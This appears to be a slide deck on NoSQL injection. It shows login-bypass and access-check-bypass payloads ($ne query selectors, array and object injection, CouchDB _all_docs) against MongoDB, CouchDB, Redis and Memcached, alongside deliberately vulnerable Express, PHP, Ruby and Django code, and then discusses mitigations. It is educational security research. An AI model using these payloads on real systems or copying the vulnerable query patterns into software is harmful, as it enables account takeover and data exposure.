NOSQL
INJECTION
FUN WITH OBJECTS AND ARRAYS
Patrick Spiegel
1
MOTIVATION
... with MongoDB we are not building queries
from strings, so traditional SQL injection attacks
are not a problem.
- MongoDB Developer FAQ
2
AGENDA
Scope
Attacks
Attacker Model
Mitigation
3
SCOPE
4.1
SCOPE - DATABASES
Database Type Ranking
Document store 5.
Key-value store 9.
Key-value cache 23.
Document store 26.
4.2
SCOPE - DATABASES
4.3
SCOPE - TECHNOLOGY STACK
What do we have to consider for NoSQL Injection?
DATABASES APPLICATION SERVERS
DATABASE DRIVERS FRAMEWORKS
~ 64 TECHNOLOGY STACKS
4.4
ATTACKER MODEL
5.1
ATTACKER MODEL - MIGHTINESS
The attacker is aware of the deployed
technology stack including application server,
driver, frameworks and database.
The attacker is able to send arbitrary requests to
the server with the authorization of a normal
application user.
5.2
ATTACKER MODEL - GOAL
The attacker's goal is to achieve
unintended behavior of the database query by
altering query parameters.
The attacker is able to trigger unintended
CRUD operations .
5.3
ATTACKER MODEL - OVERVIEW
5.4
NOSQL INJECTION ATTACKER
SQL Attacker Model
Query languages for unstructured data
Diverse system landscapes with multiple
databases
Direct client-side database access via RESTfull
interfaces
5.5
INJECTION ATTACKS
6.1
WHAT'S ALREADY KNOWN?
Login bypass for MongoDB on PHP and NodeJS
String concatenation is still an issue for JSON and
script parameters
Escaping flaws of drivers e.g. Memcached
Got fixed!
6.2
MONGODB - LOGIN BYPASS
// NodeJS with Express.js
db.collection('users').find({
"user": req.query.user,
"password": req.query.password
});
https://example.org/login?user=patrick&password=1234
https://example.org/login?user=patrick&password[%24ne]=
// NodeJS with Express.js
db.collection('users').find({
"user": "patrick",
"password": {"&ne": ""}
});
6.3
MONGODB - LOGIN BYPASS
// PHP
$collection->find(array(
'user' => $_GET['user'],
'password' => $_GET['password']
));
What's even new?
# Ruby on Rails
db['users'].find({
:user => req.params['user'],
:password => req.params['password']
})
# Python with Django
db.users.find({
"user": request.GET['user'],
"password": request.GET['password']
})
6.4
MONGODB - LOGIN BYPASS
... also works for POST requests!
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 38
{'user': 'patrick', 'password': {'>': ''}}
POST /login HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
user=Patrick&password[%24ne]=
6.5
REDIS - PARAMETER OVERWRITE INJECTION
... just a key-value store - what's the worst that could happen?
// NodeJS with Express.js
RedisClient.expireat(
req.query.key,
new Date("November 8, 2026 11:13:00").getTime()
);
.../expire?key[]=foo&key[]=1117542887
Injected array overwrites all following parameters
of each database function!
Only NodeJS driver affected!
6.6
COUCHDB - LOGIN BYPASS
// NodeJS with Express.js
function checkCredentials(user, password, callback) {
var options = {'selector': {'user': user, 'password': password}};
couch.use('users').get('_find', options, (err, res) => {
callback(res.docs.length === 1);
});
checkCredentials(req.query.user, req.query.password, handleResult);
login?user=patrick&password[%24ne]=
Inject query selector to bypass password check!
6.7
COUCHDB - LOGIN BYPASS
... then let's check the password within the application layer!
// NodeJS with Express.js
function checkCredentials(user, password, callback) {
nano.use('users').get(user, (err, res)=> {
callback(res.password === paasword);
});
}
checkUser(req.query.user, req.query.password, handleResult);
https://example.org/login?user=_all_docs
Use special _all_docs document with undefined
password property!
6.8
COUCHDB - CHECK BYPASS
Hmm ... then let's check the properties!
// NodeJS with Express.js
function getDocument(key, callback) {
if (key === "secretDoc" || key[0] === "_") {
callback("Not authorized!");
} else {
couch.use('documents').get(key, callback);
}
}
getDocument(req.query.key);
https://example.org/get?user[]=secretDoc
https://example.org/get?user[]=_all_docs
6.9
MEMCACHED - ARRAY INJECTION
function getCache(key) {
if (key.indexOf('auth_') === 0){
callback("Invalid key!");
} else {
memcached.get(key, (err, body)=>{
callback(err || body);
});
}
}
getCache(req.query.key, handleResult);
https://example.org?/getCache?key[]=auth_patrick
Array injection bypasses application layer checks!
6 . 10
ATTACK SUMMARY
All attacks shown with GET requests also work
with POST and PUT requests!
Nearly all attacks work on NodeJS, PHP, Ruby and
Python in combination with certain frameworks!
Object and array injection changes semantics and
is key for attacks!
6 . 11
MITIGATION
7.1
WHAT'S THE PROBLEM?
The queries' semantic is encoded in the object or
type structure of passed parameters.
{'password': '1234'} vs {'password': {'&ne': '1'}}
7.2
IS TYPE CASTING A SOLUTION?
{'password': req.param.password.toString()}
Secure against type manipulation
Not flexible enough for unstructured data
Easy to forget in practice ...
7.3
IS DYNAMIC CODE ANALYSIS A
SOLUTION?
{user: 'Patrick', address: {city: 'Karlsruhe', code:
76133}}
Reduces user-controlled data to string and
integer values
Application-controlled structure
7.4
DYNAMIC CODE ANALYSIS
DATA VARIETY?
if (obj.user && obj.address) {
collection.insert({user: obj.user, address: obj.address});
} else if (obj.user && obj.phone) {
collection.insert({user: obj.user, phone: obj.phone});
} else if ...
Secure for structure manipulation
Impractical for many different property
combinations!
7.5
IS DYNAMIC CODE ANALYSIS A
SOLUTION?
IMHO
NO
Breaks existing implementations
Extensive code adjustments necessary
Hard to handle data variety securely
7.6